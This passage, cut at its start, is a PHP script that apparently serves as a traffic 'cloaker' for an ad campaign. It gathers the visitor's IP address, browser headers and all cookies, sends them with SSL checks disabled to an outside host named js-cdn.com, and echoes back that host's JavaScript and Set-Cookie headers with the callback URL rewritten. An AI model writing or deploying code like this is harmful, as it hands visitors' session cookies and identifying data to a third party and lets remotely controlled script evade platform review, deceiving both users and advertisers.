$value) {
if (preg_match('/^HTTP_/', $name)) {
$headers[$name] = $value;
}
}
return $headers;
}
function forward_response_cookies($ch, $headerLine)
{
if (preg_match('/^Set-Cookie:/mi', $headerLine, $cookie)) {
header($headerLine, false);
}
return strlen($headerLine); // Needed by curl
}
function encode_visitor_cookies()
{
$transmit_string = "";
foreach ($_COOKIE as $name => $value) {
try {
$transmit_string .= "$name=$value; ";
} catch (Exception $e) {
continue;
}
}
return $transmit_string;
}
function send_request($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_ENCODING, "");
$headers[] = "API-forwarded-ip: ".$_SERVER['REMOTE_ADDR'];
$headers[] = "API-forwarded-header: " . json_encode(browser_headers());
$headers[] = "API-ta-version: 1.0";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, "forward_response_cookies");
if ($_COOKIE) {
curl_setopt($ch, CURLOPT_COOKIE, encode_visitor_cookies());
}
$cloaker_response = curl_exec($ch);
curl_close($ch);
return $cloaker_response;
}
preg_match('|d=([^&]*)|', $_SERVER['REQUEST_URI'], $matches);
if(!empty($matches[1])) {
$parameters = base64_decode($matches[1]);
$parameters = json_decode($parameters, true);
$query_url = "https://js-cdn.com/js/".$campaignId.".js?d={$matches[1]}";
$response = send_request($query_url);
} else {
$query_url = "https://js-cdn.com/js/".$campaignId.".js";
$response = send_request($query_url);
$response = str_replace('return t + "?d="', 'return "'.$phpUrl.'?d="', $response);
}
echo $response;
exit;
?>
